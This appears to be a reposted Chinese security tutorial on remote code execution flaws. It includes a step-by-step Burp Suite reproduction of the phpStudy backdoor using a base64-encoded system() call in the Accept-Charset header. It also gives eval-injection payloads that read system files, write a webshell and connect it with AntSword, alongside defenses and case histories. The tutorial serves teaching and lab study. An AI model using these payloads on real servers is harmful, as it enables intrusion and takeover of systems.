当前位置: 首页 > news >正文

RCE 远程代码执行漏洞分析

RCE 漏洞

1.漏洞描述

  • Remote Command/Code Execute

  • 远程命令执行/远程代码执行漏洞

  • 这种漏洞通常出现在应用程序或操作系统中,攻击者可以通过利用漏洞注入恶意代码,并在受攻击的系统上执行任意命令。

2.漏洞场景

  • PHP 代码执行
  • PHP 代码注入
  • OS 命令执行
  • OS 命令注入
  • Java、Python……
  • Web 应用程序
  • 远程服务
  • 操作系统漏洞

3.漏洞原理

传入 PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在 PHP 代码注入漏洞,也就是 RCE。

4.漏洞危害

继承当前用户权限:

  • GetShell,执行代码或命令。
  • 读写文件。
  • 反弹Shell。
  • 控制网站。
  • 控制系统。

5.漏洞评级

RCE漏洞通常被评级为高危或严重的漏洞,因为其危害性较大,能够导致系统完全被攻击者控制。

6.漏洞验证

  • phpstudy_2016-2018_rce_backdoor 漏洞复现

  • 打开 bp

    image-20231016121951332

  • 打开代理浏览器

    image-20231016122015833

  • 访问 php 页面

    image-20231016122049698

    image-20231016122109271

  • 回到 bp

    查看 http 历史,找到刚刚访问的 php 页面

    image-20231016122211545

  • 发送到 Repeater

    image-20231016122237107

  • 转到 Repeater

    image-20231016122308061

  • php 页面请求内容加

    Accept-Charset: 
    
  • 修改 Accept-Encoding,删除 deflate 前的空格

    Accept-Encoding: gzip,deflate
    
  • 将要执行的命令写入到 system(“”) 中如

    system("whoami");
    
  • Decoder 模块 base64 编码

    # 对 system("whoami") 编码
    c3lzdGVtKCJ3aG9hbWkiKTs=
    

    image-20231016121748478

  • 将编码放到 Accept-Charset:

    Accept-Charset: c3lzdGVtKCJ3aG9hbWkiKTs=
    

    image-20231016122431232

  • 点击 Send 发送

  • 查看返回的数据

  • 成功回显执行的命令

    image-20231016122527558

7.漏洞利用

代码执行漏洞的利用方式有很多种。

获取Shell,蚁剑可以直接连接。

shell: http://10.4.7.187/php/functions/eval.php
pass: code

获取当前文件的绝对路径。

?code=print(__FILE__);

读文件。

?code=print(file_get_contents('eval.php'));
?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));

写文件。

?code=file_put_contents('shell.php','<?php phpinfo();?>');
?code=file_put_contents(要写入的文件,要写入的内容)

8.漏洞防御

  • 尽量避免使用危险函数
  • 对用户输入的数据进行严格的验证和过滤,确保只接受预期的输入。
  • 限制应用程序或系统的权限,确保用户或攻击者无法执行危险的操作。
  • 及时更新和修复应用程序、操作系统和依赖库中的漏洞,以减少攻击面。
  • 输入验证、输出转义、防止代码注入等。

9.典型案例

  • 2017年Equifax数据泄露事件:攻击者利用RCE漏洞入侵了Equifax的服务器,窃取了超过1亿个消费者的敏感信息。
  • 2014年Shellshock漏洞:Shellshock是一个影响Bash(Unix和Linux操作系统中的一种Shell)的RCE漏洞,攻击者可以通过恶意环境变量注入恶意代码并执行任意命令。
  • 2010年Stuxnet蠕虫:Stuxnet是一种利用RCE漏洞的恶意软件,攻击了伊朗的核设施,导致严重的设备损坏。
http://www.lryc.cn/news/205981.html

相关文章:

  • JDK8新特性:Stream流
  • 【.net core】yisha框架单页面双列表联动效果示例
  • 01. 板载硬件资源和开发环境
  • BlobDetector的使用与参数说明(OpenCV/C++)
  • 行为型模式-空对象模式
  • 爬虫采集如何解决ip被限制的问题呢?
  • 【ARM AMBA Q_Channel 详细介绍】
  • PDF Reader Pro v2.9.8(pdf编辑阅读器)
  • 【机器学习可解释性】1.模型洞察的价值
  • 网络安全保险行业面临的挑战与变革
  • 如何提高系统的可用性/高可用
  • PCA和LDA数据降维计算(含数学例子推导过程)
  • 题目 1053: 二级C语言-平均值计算(python详解)——练气三层初期
  • Python —— UI自动化之Page Object模式
  • 职能篇—自动驾驶产品经理
  • ubuntu安装golang
  • ES 8 新特性
  • linux-防火墙
  • Pytorch--3.使用CNN和LSTM对数据进行预测
  • 爬虫进阶-反爬破解9(下游业务如何使用爬取到的数据+数据和文件的存储方式)
  • Docker常用应用部署
  • 【数据分享】2014-2022年我国淘宝村点位数据(Excel格式/Shp格式)
  • Ubuntu 安装 docker-compose
  • vue2、vue3中路由守卫变化
  • Leetcode—547.省份数量【中等】
  • Nginx 防盗链
  • 26. 通过 cilium pwru了解网络包的来龙去脉
  • 刷题笔记day01-数组
  • C#调用C++ 的DLL传送和接收中文字符串
  • 【MySQL】数据库常见错误及解决